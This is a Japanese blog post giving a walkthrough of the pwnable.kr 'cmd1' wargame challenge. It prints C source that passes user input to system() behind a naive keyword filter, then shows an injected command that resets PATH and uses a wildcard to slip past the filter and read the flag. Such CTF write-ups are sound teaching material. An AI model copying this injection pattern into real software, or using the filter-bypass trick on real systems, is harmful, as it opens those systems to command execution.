気まぐれブログ(日記・技術記事・研究のことなど)

気まぐれに更新します.温かい目で見ていただければ...

pwnable.kr writeup [cmd1]

この問題は, 一時的にPATHを変更された場合にどのようにシェルを動かすかっていう話ですね.

問題

Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)

解答

まずはcmd1.cを見てみましょう.

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "flag")!=0;
	r += strstr(cmd, "sh")!=0;
	r += strstr(cmd, "tmp")!=0;
	return r;
}
int main(int argc, char* argv[], char** envp){
	putenv("PATH=/thankyouverymuch");
	if(filter(argv[1])) return 0;
	system( argv[1] );
	return 0;
}

main関数の1行目でPATHが一時的に変更されてしまっています. 2行目では, コマンドライン引数argv[1]に, 「flag」, 「sh」, 「tmp」という文字列が含まれていないかをフィルタリングしています. 含まれていたらそこでmain関数を終了させます.
3行目では, system関数にargv[1]を渡し, シェルを実行させます.

まず, 一時的にPATHが変更されていることを確認してみましょう.

cmd1@ubuntu:~$ ./cmd1 export
export HOME='/home/cmd1'
export LANG='en_US.UTF-8'
export LANGUAGE='en_US:'
export LOGNAME='cmd1'
export MAIL='/var/mail/cmd1'
export PATH='/fuckyouverymuch'
export PWD='/home/cmd1'
export SHELL='/bin/bash'
export SHLVL='1'
export SSH_CLIENT='126.219.156.42 49899 22'
export SSH_CONNECTION='126.219.156.42 49899 192.168.1.186 22'
export SSH_TTY='/dev/pts/14'
export TERM='xterm-256color'
export USER='cmd1'
export XDG_RUNTIME_DIR='/run/user/1025'
export XDG_SESSION_ID='8063'
export _='./cmd1'

PATHが変更されていることが確認できますね(なんでfuckyouverymuchになっているのだろう...のちにソースコードを変更して, バイナリファイルはそのままにしたのだろうか...).

したがって, コマンドライン引数でPATHを再び設定するようなシェルをかいてやればOKですね.

「./cmd1 "export PATH=/bin/; cat flag;"」というコマンドを打てばflagを出力してくれそうですね.
しかし, flagという文字列が含まれているとフィルタリングに引っかかってしまうので, f*という形にしておきましょう.

cmd1@ubuntu:~$ ./cmd1 "export PATH=/bin/; cat f*;"
mommy now I get what PATH environment is for :)